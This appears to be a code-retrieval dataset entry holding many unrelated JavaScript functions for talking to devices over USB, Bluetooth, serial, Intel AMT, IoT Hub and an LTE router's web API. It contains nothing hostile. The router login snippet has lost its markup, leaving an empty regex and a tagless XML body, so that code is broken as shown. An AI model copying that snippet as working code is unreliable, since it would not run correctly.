---------------\r\n\t\tcase \"emeterCmd\":\r\n\t\t\tvar action = request.headers[\"action\"]\r\n\t\t\tvar engrCmd = action.substring(0,3)\r\nconsole.log(\"engrCmd = \" + engrCmd)\r\n\t\t\tvar engrData = action.substring(3)\r\nconsole.log(\"engrData = \" + engrData)\r\n\t\t\tif (engrCmd == \"Con\") {\r\n\t\t\t\tresponse.setHeader(\"action\", \"useTodayResponse\")\r\n\t\t\t} else {\r\n\t\t\t\tresponse.setHeader(\"action\", \"engrStatsResponse\")\r\n\t\t\t}\r\n\t\t\tvar respData = \"\"\r\n\t\t\tswitch(engrData) {\r\n\t\t\t\tcase \"DecWatts\":\r\n\t\t\t\t\trespData = DecWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"DecMWatts\":\r\n\t\t\t\t\trespData = DecMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"JanWatts\":\r\n\t\t\t\t\trespData = JanWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"JanMWatts\":\r\n\t\t\t\t\trespData = JanMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"FebWatts\":\r\n\t\t\t\t\trespData = FebWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"FebMWatts\":\r\n\t\t\t\t\trespData = FebMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"MarWatts\":\r\n\t\t\t\t\trespData = MarWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"MarMWatts\":\r\n\t\t\t\t\trespData = MarMWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day1Watts\":\r\n\t\t\t\t\trespData = Day1Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day1MWatts\":\r\n\t\t\t\t\trespData = Day1MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day2Watts\":\r\n\t\t\t\t\trespData = Day2Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day2MWatts\":\r\n\t\t\t\t\trespData = Day2MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day3Watts\":\r\n\t\t\t\t\trespData = Day3Watts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tcase \"Day3MWatts\":\r\n\t\t\t\t\trespData = Day3MWatts\r\n\t\t\t\t\tbreak\r\n\t\t\t\tdefault:\r\n\t\t\t\t\tbreak\r\n\t\t\t}\r\nconsole.log(respData)\r\n\t\t\tresponse.setHeader(\"cmd-response\", respData)\r\n\t\t\tresponse.end()\r\n\t\t\tbreak\r\n\t\tdefault:\r\n\t\t\tresponse.setHeader(\"cmd-response\", \"InvalidHubCmd\")\r\n\t\t\tresponse.end()\r\n\t\t\tvar respMsg = \"#### Invalid Command ####\"\r\n\t\t\tvar respMsg = new Date() + \"\\n\\r#### Invalid Command from IP\" + deviceIP + \" ####\\n\\r\"\r\n\t\t\tconsole.log(respMsg)\r\n\t\t\tlogResponse(respMsg)\r\n\t}\r\n}","start() {\n let constraints = {\n video: {\n facingMode: 'user',\n height: { min: 360, ideal: 720, max: 1080 },\n deviceId: localStorage.getItem('deviceId')\n },\n audio: true\n };\n\n // navigator.mediaDevices.enumerateDevices()\n // .then(dd=> { \n // dd.map(device => {\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\n // constraints.video.deviceId = device.deviceId;\n // }\n // })\n // }) \n\n // navigator.usb.requestDevice({filters:[]})\n // .then(selectedDevice => {\n // device = selectedDevice;\n // console.log('selectedDevice', device, selectedDevice);\n // return device.open(); // Begin a session.\n // })\n // .then(() => {\n // console.log('daada', device.selectConfiguration);\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\n // .then(() => {\n // console.log('daada', device.claimInterface);\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\n // .then(() => {\n // console.log('daada', device.controlTransferOut);\n // device.controlTransferOut({\n // requestType: 'class',\n // recipient: 'interface',\n // request: 0x22,\n // value: 0x01,\n // index: 0x02})}) // Ready to receive data\n // .then(() => {\n // console.log('dedde', device);\n // device.transferIn(5, 64)\n // }) // Waiting for 64 bytes of data from endpoint #5.\n // .then(result => {\n // let decoder = new TextDecoder();\n // console.log('decoder', decoder, result);\n // console.log('Received: ' + decoder.decode(result.data));\n // })\n // .catch(error => { console.log('this.error', error); });\n console.log('constraints', constraints)\n\n setTimeout(() => {\n // constraints.video.deviceId = localStorage.getItem('deviceId');\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then((stream) => {\n this.stream = stream;\n this.emit('stream', stream);\n })\n .catch((err) => {\n if (err instanceof DOMException) {\n alert('Cannot open webcam and/or microphone');\n } else {\n console.log(err);\n }\n });\n }, 3000)\n\n return this;\n }","function connectviaBT() {\r\n\t// initialize bluetooth and setup an event listener\r\n\t//todo: refactor name mWebSocket_InitAsync\r\n\tdocument.getElementById( \"idStatus\").innerHTML=\"Connecting via BT\";\r\n\t//returns data from BT as Uint8Array [1..20]\r\n\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\r\n\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\r\n\t.then(connectGATT) //todo:@FC please explain what is happening here\r\n\t.then(_ => {\r\n\t\tconsole.log('Evaluating signal of interest...')\r\n\t\treturn gattCharacteristic.readValue()\t//receiving data from BT - Uint8Array [1..20]\r\n\t})\r\n\t.catch(error => {\r\n\t\tconsole.log('Waiting to start reading: ' + error)\r\n\t})\r\n}","function performAdvancedPowerActionResponse(stack, name, responses, status) {\n const dev = stack.dev;\n const action = dev.powerAction;\n delete dev.powerAction;\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\n if (status != 200) return;\n if ((responses['AMT_BootSettingData'] == null) || (responses['AMT_BootSettingData'].response == null)) return;\n var bootSettingData = responses['AMT_BootSettingData'].response;\n\n // Clean up parameters\n bootSettingData['ConfigurationDataReset'] = false;\n delete bootSettingData['WinREBootEnabled'];\n delete bootSettingData['UEFILocalPBABootEnabled'];\n delete bootSettingData['UEFIHTTPSBootEnabled'];\n delete bootSettingData['SecureBootControlEnabled'];\n delete bootSettingData['BootguardStatus'];\n delete bootSettingData['OptionsCleared'];\n delete bootSettingData['BIOSLastStatus'];\n delete bootSettingData['UefiBootParametersArray'];\n delete bootSettingData['RPEEnabled'];\n delete bootSettingData['RSEPassword']\n\n // Ready boot parameters\n bootSettingData['BIOSSetup'] = ((action >= 11) && (action <= 14));\n bootSettingData['UseSOL'] = ((action >= 13) && (action <= 14));\n if ((action == 11) || (action == 13)) { dev.powerAction = 2; } // Power on\n if ((action == 12) || (action == 14)) { dev.powerAction = 10; } // Reset\n\n // Set boot parameters\n dev.amtstack.Put('AMT_BootSettingData', bootSettingData, function (stack, name, response, status, tag) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Set boot config\n dev.amtstack.SetBootConfigRole(1, function (stack, name, response, status, tag) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Set boot order\n dev.amtstack.CIM_BootConfigSetting_ChangeBootOrder(null, function (stack, name, response, status) {\n const dev = stack.dev;\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\n // Perform power action\n try { dev.amtstack.RequestPowerStateChange(dev.powerAction, performPowerActionResponse); } catch (ex) { }\n }, 0, 1);\n }, 0, 1);\n }, 0, 1);\n }","function SendPortSync() {\n}","function webRtcSendOffer(clientName, offerValue) {\r\n\tif (typeof thisPeersName != \"string\") {\r\n\t\tconsole.log(\"Please set peer name before calling this function\");\r\n\t\treturn;\r\n\t}\r\n\t\r\n var xhttp = new XMLHttpRequest();\r\n\txhttp.onreadystatechange = function() {\r\n\t\tif (xhttp.readyState == 4 && xhttp.status == 200) {\r\n \r\n //see if there is a client asking to connect\r\n if (typeof xhttp.responseText == \"string\" && xhttp.responseText.length > 0) {\r\n ;\r\n }\r\n \r\n\t\t}\r\n\t};\r\n var full = location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); \r\n \r\n\t//xhttp.open(\"GET\", \"http://\" + window.location.host + \"/ioInterface?command=getOtsValues\", true);\r\n var message = {messageType: 'offer', offer: offerValue};\r\n var url = full + \"/webrtc?command=writeMessage&clientName=\" + thisPeersName + \"&destinationName=\" + clientName + \"&message=\" + btoa(JSON.stringify(message));\r\n \r\n //console.log(url.length, url);\r\n xhttp.open(\"GET\", url, true);\r\n\txhttp.send();\t \r\n}","sendMakeBetShan2(_chipbet) {\n cc.NGWlog(\"Vua dat cuoc =\" + _chipbet);\n var data = {\n evt: \"bm\",\n M: _chipbet\n };\n this.sendDataGame(JSON.stringify(data));\n }","function IoTHubGetDeviceInfo(deviceId, iothubname) {\n console.log(\"Getting Device Info : \" + deviceId);\n $('#IoTHub_Busy_Indicator').css('display', 'flex');\n $.ajax({\n type: \"GET\",\n url: '/home/IoTHubGetDeviceInfo',\n data: { deviceId: deviceId },\n success: function (response) {\n $('#deviceConnectionState').html(response.connectionState);\n\n if (response.connectionState == \"Disconnected\") {\n $('#deviceConnectionState').css(\"color\", 'red');\n }\n else {\n $('#deviceConnectionState').css(\"color\", 'blue');\n }\n $('#deviceModelId').html(response.deviceModelId);\n $('#deviceConnectionString').html(\"HostName=\" + iothubname + \";DeviceId=\" + response.deviceId + \";SharedAccessKey=\" + response.symmetricKey);\n $('#deviceKey').html(response.symmetricKey);\n\n DisableButton($('#btnDeviceTwin'), false);\n\n if (response.deviceModelId != null && response.deviceModelId.length > 0) {\n DisableButton($('#btnDeviceModelIdCopy'), false);\n }\n else\n {\n DisableButton($('#btnDeviceModelIdCopy'), true);\n }\n\n if (response.symmetricKey.length > 0) {\n DisableButton($('#btnDeviceConnectionStringCopy'), false);\n DisableButton($('#btnDeviceKeyCopy'), false);\n }\n else {\n DisableButton($('#btnDeviceConnectionStringCopy'), true);\n DisableButton($('#btnDeviceKeyCopy'), true);\n }\n\n //$('#btnDeviceModelIdCopy').prop('disabled', true);\n return true;\n },\n error: function (jqXHR) {\n // clear all fields\n IoTHubModalClear();\n alert(\" Status: \" + jqXHR.status + \" \" + jqXHR.responseText);\n return false;\n }\n });\n $('#IoTHub_Busy_Indicator').hide();\n\n}","function callAPI(req,res,handleResponse){\n var host = 'www.blueworkslive.com';\n var username = 'xxxx';\n var password = 'yyyy';\n var path = '/api/Auth';\n var headers = {\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\n };\n var options = {\n host: host,\n path: path,\n method: 'GET',\n headers: headers\n };\n var bwlResData = {};\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\n var bwlRequest = https.request(options, function(bwlResponse) {\n\tconsole.log(\"BwlApiCall: Response status=\"+bwlResponse.statusCode);\n\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\n\tbwlResData.headers = bwlResponse.headers;\n\tvar bufferData = [];\n\tbwlResponse.on('data', function(data) {\n\t bufferData.push(data);\n console.info('BwlApiCall: Response data received');\n\t});\n\tbwlResponse.on('end', function() {\n console.info('BwlApiCall: completed, calling callback');\n\t bwlResData.data = Buffer.concat(bufferData);\n\t handleResponse(req, res, bwlResData);\n });\n });\n/* if ((reqData.method == \"post\" || reqData.method == \"put\") && reqData.senddata) {\n console.log(reqData.method+' sending data: '+reqData.senddata);\n bwlRequest.write(reqData.senddata);\n } */\n bwlRequest.end();\n bwlRequest.on('error', function(e){\n console.error('BwlApiCall: REQUEST-ERROR '+e);\n });\n}","function sendConvertRAIDType(cardchar) {\n\t//collect data from web UI\n\tvar NewRAIDType = document.getElementById(\"RAIDType\"+cardchar).selectedIndex - 1;\n\tvar GUID = $(\"#GUID\"+cardchar).html();\n\n\t//store the command which is in progress\n\t$(\"#cardProgCmd\"+cardchar).html(JS_CONVERT_RAID_TYPE_REQ);\n\n\t//console.log(\"Convert GUID = \"+GUID);\n\n\t//disable \"Convert\" button\n\t$(\"#confirmConvertRAIDType\"+cardchar).prop(\"disabled\", true);\n\n\t//send command\n\tConvertRAIDType(GUID, NewRAIDType);\n}","async function blxSendBinblock (data, fname, syncflag, mem_addr) {\n let txlen_total = data.length\n let tx_pos = 0\n const time0 = Date.now() - 1000\n let tw_old = time0\n let tw_new // Working Time fuer Fortschritt\n let sblk_len = (max_ble_blocklen - 2) & 0xFFFC // Initial MAX Size Block, but Multi of 4\n\n if (data.length > 1000) { // Mehr als 1k Daten UND File: -> FAST\n\n if(fname === undefined){\n // Might bee too fast for Download to CPU Memory, set to slow with .cf 15 or greater!!!\n if(con_memfast_speed < 15)\n terminalPrint(\"*** WARNING: Memory Connection Speed: \" + con_memfast_speed ) \n const os = con_fast_speed // temporaer mit MEMORY Speed\n con_fast_speed = con_memfast_speed\n await blxConnectionFast()\n con_fast_speed = os\n }else{\n await blxConnectionFast()\n } \n if (blxErrMsg) return\n // console.log(\"Fast OK\");\n }\n if(fname!== undefined) await blxDeviceCmd('P' + (syncflag ? '!' : '') + ':' + fname, 5000) // P wie PUT\n else {\n {\n let wadr = mem_addr\n let wsize = txlen_total\n const sector_size = 4096 // Fix fuer nrF52\n // Sektoren in einzeln Loeschen, da langsam\n while(wsize>0){\n await blxDeviceCmd('K:' + wadr + ' ' + 1 , 5000) \n if (blxErrMsg) return\n wadr+=sector_size\n wsize-=sector_size\n }\n }\n await blxDeviceCmd('I:' + mem_addr, 5000) // I wie Internal\n }\n if (blxErrMsg) return\n\n try {\n for (;;) {\n let blen = txlen_total // Blocklen\n if (blen > sblk_len ) blen = sblk_len\n const bdata = new Uint8Array(blen + 2)\n bdata[0] = blen\n bdata[1] = BB_BLE_BINBLK_IN // Binary Data\n // Aufgabe: data[tx_pos] an bdata[2] kopieren\n const datablock = data.subarray(tx_pos, tx_pos + blen)\n bdata.set(datablock, 2) // Copies datablock into bdata\n\n await NUS_data_chara_write.writeValue(bdata.buffer)\n\n // console.log(bdata);\n txlen_total -= blen\n tx_pos += blen\n if (!txlen_total) {\n const dtime = Date.now() - time0\n terminalPrint('Transfer OK (' + dtime / 1000 + ' sec, ' + ((data.length / dtime * 1000).toFixed(0)) + ' Bytes/sec)')\n break\n }\n tw_new = Date.now()\n if (tw_new - tw_old > 1000) { // Alle Sekunde Fortschritt\n tw_old = tw_new\n terminalPrint(((tx_pos * 100) / data.length).toFixed(0) + '% / ' + tx_pos + ' Bytes')\n }\n }\n } catch (error) {\n if (full_connected_flag === false) blxErrMsg = 'ERROR: Connection lost'\n else blxErrMsg = 'ERROR: Transfer ' + error\n return\n }\n\n await blxDeviceCmd('L', 5000) // Close\n\n if (blxErrMsg) return\n if (data.length > 1000) { // Mehr als 1k Daten: -> Wieder SLOW\n await blxConnectionSlow()\n }\n }","function processData(buffer) {\n console.log(\"Status: \"+status);\n console.log('Read message: \"' + buffer + '\"');\n if (buffer.toString() == 'Ok!' && status == 0 && type !=1) {\n //Emepzamos el envio\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += data[hexInd];\n pxInd += 4;\n hexInd++;\n }\n\n if (pxInd >= w * h) status++; \n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"Buffer to send1: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 0 && type == 1) {\n //Emepzamos el envio pantalla a color\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += data[hexInd];\n pxInd += 2; //cada pixel son 2 bits, por eso para cada hex tenemos avanzar 2 pixeles.\n hexInd++;\n }\n if (pxInd >= w * h) status++;\n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3);\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"Buffer to send info: dSizeCalc\"+dSizeCalc+\" buffIndCalc: \"+buffIndCalc+\" pxInd: \"+pxInd);\n console.log(\"Buffer to send2: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 1 && type != 1) {\n //Hacemos el Show\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: S\");\n });\n status = 4;\n console.log(\"Desconectamos....\");\n clearTimeout(timeout);\n screenDisconect(false);\n return response.send({\n message: 'Success at updating the device: ' + macaddress,\n });\n } else if (buffer.toString() == 'Ok!' && status == 1 && type == 1) {\n //Hacemos el Next\n\n pxInd =0;\n hexInd = 0;\n\n epdCharacteristic.write(Buffer.from('N', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: N\"); \n });\n status = 2;\n } else if (buffer.toString() == 'Ok!' && status == 2 && type == 1) {\n //Hacemos el Load del Next\n //let dataNext = req.body.dataNext;\n //Emepzamos el envio\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += dataNext[hexInd];\n pxInd += 4; //en caso de rojo, cada pixel es un bit.\n hexInd++;\n }\n if (pxInd >= w * h) status = 3;\n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"N_Buffer to send3: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 3 && type == 1) {\n console.log(\"Finalizamos...\");\n //Hacemos el Show\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: S\");\n });\n status = 4;\n console.log(\"Desconectamos....\");\n clearTimeout(timeout);\n screenDisconect(false);\n return response.send({\n message: 'Success at updating the device: ' + macaddress,\n });\n }\n trytoread();\n }","function setDeviceEnabledBand() {\n\tconsole.log('info: setDeviceEnabledBand() is called.');\n\n\t// Get csrf_token\n\tvar api = '/';\n\tvar url = 'http://' + document.apiform.address.value + api;\n\tupdateMessage(url, '', 'Connecting...', '');\n\n\tvar xhr = new XMLHttpRequest();\n\txhr.open('GET', url, false);\n\txhr.withCredentials = true;\n\txhr.onerror = function(e) {\n\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\n\t};\n\txhr.send(null);\n\n\tif (xhr.status === 200) {\n\t\tvar str = xhr.responseText;\n\t\tvar csrf_token = str.match(//i);\n\t\tcsrf_token = csrf_token[1];\n\t\tif (csrf_token != null) {\n\t\t\tupdateMessage(url, xhr.statusText, 'Success to get a token: ' + csrf_token, '');\n\t\t} else {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Fail to get the token.', '');\n\t\t\treturn -1;\n\t\t}\n\n\t\t// Login\n\t\tapi = '/api/user/login';\n\t\turl = 'http://' + document.apiform.address.value + api;\n\t\tupdateMessage(url, '', 'Connecting...', '');\n\n\t\txhr.open('POST', url, false);\n\t\txhr.onerror = function(e) {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\n\t\t};\n\n\t\t// Generate credential\n\t\tvar username = 'admin';\n\t\tvar password = document.apiform.password.value;\n\t\tvar password_hash = encryptSHA256(username + encryptSHA256(password) + csrf_token);\n\n\t\tvar login_params = '';\n\t\tlogin_params += '\\r';\n\t\tlogin_params += '\\r';\n\t\tlogin_params += '' + username + ' \\r';\n\t\tlogin_params += '' + password_hash + ' \\r';\n\t\tlogin_params += '4 \\r';\n\t\tlogin_params += ' \\r';\n\t\tconsole.log(login_params);\n\n\t\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n\t\txhr.setRequestHeader('__RequestVerificationToken', csrf_token);\n\t\txhr.send(login_params);\n\n\t\t// Login Result\n\t\tif (xhr.status === 200) {\n\t\t\t\n\t\t\tvar error_code = xhr.responseText.match(/([0-9]+)<\\/code>/i);\n\t\t\tif (error_code == null) {\n\t\t\t\tupdateMessage(url, xhr.statusText, 'Login Successful!', xhr.responseText);\n\n\t\t\t\t// Set LTE Bands\n\t\t\t\tapi = '/api/net/net-mode';\n\t\t\t\turl = 'http://' + document.apiform.address.value + api;\n\t\t\t\tupdateMessage(url, '', 'Connecting...', '')\n\t\t\t\ttoken = xhr.getResponseHeader('__RequestVerificationTokenOne');\n\t\t\t\txhr.open('POST', url, true);\n\t\t\t\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n\t\t\t\txhr.setRequestHeader('__RequestVerificationToken', token);\n\t\t\t\txhr.onload = function(e) {\n\t\t\t\t\terror_code = xhr.responseText.match(/([0-9]+)<\\/code>/i);\n\t\t\t\t\tconsole.log(error_code);\n\t\t\t\t\tif (error_code == null) {\n\t\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Change Successful!', xhr.responseText);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\txhr.onerror = function(e) {\n\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: Check Parameters.', '')\n\t\t\t\t};\n\t\t\t\txhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=\"UTF-8\"');\n\t\t\t\tconsole.log(document.apiform.reqparams.value);\n\t\t\t\txhr.send(document.apiform.reqparams.value);\n\n\t\t\t} else {\n\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\n\t\t\t}\n\t\t\t\n\t\t} else {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', xhr.responseText);\n\t\t}\n\n\t} else {\n\t\tupdateMessage(url, xhr.statusText, 'Error: Check the address or your browser status (Cross-Origin Resource Sharing).', '')\n\t}\n}","async send() {\n const onComplete = this.props.navigation.state.params.onComplete;\n try {\n let done = await this.props.wire.send();\n\n if (!done) {\n return;\n }\n\n if (onComplete) onComplete();\n this.props.navigation.goBack();\n } catch (e) {\n if (!e || e.message !== 'E_CANCELLED') {\n console.error('Wire/send()', e);\n\n Alert.alert(\n 'There was a problem sending wire',\n (e && e.message) || 'Unknown internal error',\n [{ text: 'OK' }],\n { cancelable: false }\n );\n }\n }\n }","function onOpen() {\n console.log('Port Open');\n console.log(`Baud Rate: ${port.options.baudRate}`);\n const outString = String.fromCharCode(output);\n console.log(`Sent:\\t\\t${outString}`);\n port.write(outString);\n}"],"string":"[\n \"async function RequestUSBDevice() { \\n await navigator.usb.requestDevice({ filters: [{}] });\\n}\",\n \"async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\\n\\n try {\\n var device = deviceInfo.device;\\n\\n await device.open();\\n //await device.reset();\\n\\n if (device.configuration === null) {\\n await device.selectConfiguration(1);\\n }\\n\\n\\t\\tawait device.claimInterface(0);\\n\\t\\t\\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\\n abyBlyncUsb30ReportBuffer[7] = 0x22;\\n\\n var result = await device.controlTransferOut( \\n {\\n requestType: 'class',\\n recipient: 'interface',\\n request: 0x09,\\n value: 0x0200,\\n index: 0x0000\\n },\\n abyBlyncUsb30ReportBuffer);\\n\\n await device.close();\\n } catch (e) {\\n console.log(\\\"Exception: \\\" + e);\\n }\\n}\",\n \"respondToArduino(command){\\n BluetoothSerial.write(command)\\n .then((res) => {\\n console.log(res, command)\\n })\\n .catch((err) => console.log(err.message))\\n }\",\n \"requestUsb() {\\n return new Observable(observer => {\\n navigator.usb.requestDevice({ filters: [] })\\n .then((result) => {\\n this.vendorId = result.vendorId;\\n this.productId = result.productId;\\n return observer.next(result);\\n }).catch(error => {\\n return observer.error(error);\\n });\\n });\\n }\",\n \"async function uBitOpenDevice(device, callback) {\\n const transport = new DAPjs.WebUSB(device)\\n const target = new DAPjs.DAPLink(transport)\\n let buffer=\\\"\\\" // Buffer of accumulated messages\\n const parser = /([^.:]*)\\\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\\n \\n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\\n buffer += data;\\n let firstNewline = buffer.indexOf(\\\"\\\\n\\\")\\n while(firstNewline>=0) {\\n let messageToNewline = buffer.slice(0,firstNewline)\\n let now = new Date() \\n // Deal with line\\n // If it's a graph/series format, break it into parts\\n let parseResult = parser.exec(messageToNewline)\\n if(parseResult) {\\n let graph = parseResult[1]\\n let series = parseResult[2]\\n let data = parseResult[3]\\n let callbackType = \\\"graph-event\\\"\\n // If data is numeric, it's a data message and should be sent as numbers\\n if(!isNaN(data)) {\\n callbackType = \\\"graph-data\\\"\\n data = parseFloat(data)\\n }\\n // Build and send the bundle\\n let dataBundle = {\\n time: now,\\n graph: graph, \\n series: series, \\n data: data\\n }\\n callback(callbackType, device, dataBundle)\\n } else {\\n // Not a graph format. Send it as a console bundle\\n let dataBundle = {time: now, data: messageToNewline}\\n callback(\\\"console\\\", device, dataBundle)\\n }\\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\\n firstNewline = buffer.indexOf(\\\"\\\\n\\\") // See if there's more data\\n }\\n });\\n await target.connect();\\n await target.setSerialBaudrate(115200)\\n //await target.disconnect();\\n device.target = target; // Store the target in the device object (needed for write)\\n device.callback = callback // Store the callback for the device\\n callback(\\\"connected\\\", device, null) \\n target.startSerialRead()\\n return Promise.resolve()\\n}\",\n \"async send_cmd(cmd, options={}) {\\n const data = options.data;\\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\\n\\n if (!this.device || !this.device.opened) {\\n this.log(\\\"error: device not connected.\\\\n\\\", \\\"red\\\");\\n this.log(\\\"Use button to connect to a supported programmer.\\\\n\\\", \\\"red\\\");\\n return Promise.reject(\\\"error: device not opened\\\");\\n }\\n\\n const opts = {\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 250,\\n value: this.CMD_LUT[cmd],\\n index: cmdIndex\\n };\\n\\n // transfer data out\\n const res = data\\n ? await this.device.controlTransferOut(opts, data)\\n : await this.device.controlTransferOut(opts);\\n\\n // sleep for a bit to give the USB device some processing time leeway\\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\\n\\n return this.device.controlTransferIn({\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 249,\\n value: 0x70,\\n index: 0x81\\n }, 64).then(result => {\\n return textDecode\\n ? (new TextDecoder()).decode(result.data)\\n : result.data.buffer;\\n });\\n }\",\n \"function sendCompleted(usbEvent) {\\n\\tif (chrome.runtime.lastError) {\\n\\t\\tconsole.error(\\\"sendCompleted Error:\\\", chrome.runtime.lastError.message);\\n\\t}\\n\\n\\tif (usbEvent) {\\n\\t\\tif (usbEvent.data) {\\n\\t\\t\\tvar buf = new Uint8Array(usbEvent.data);\\n\\t\\t\\tconsole.log(\\\"sendCompleted Buffer:\\\", usbEvent.data.byteLength, buf);\\n\\t\\t}\\n\\t\\tif (usbEvent.resultCode !== 0) {\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t\\terrorln(\\\"Error writing to device: \\\" + chrome.runtime.lastError.message);\\n\\t\\t}\\n\\t}\\n}\",\n \"async getRequestDeviceInfo() {\\n const outputReportID = 0x01;\\n const subcommand = [0x02];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onDeviceInfo = ({ detail: deviceInfo }) => {\\n this.removeEventListener('deviceinfo', onDeviceInfo);\\n delete deviceInfo._raw;\\n delete deviceInfo._hex;\\n resolve(deviceInfo);\\n 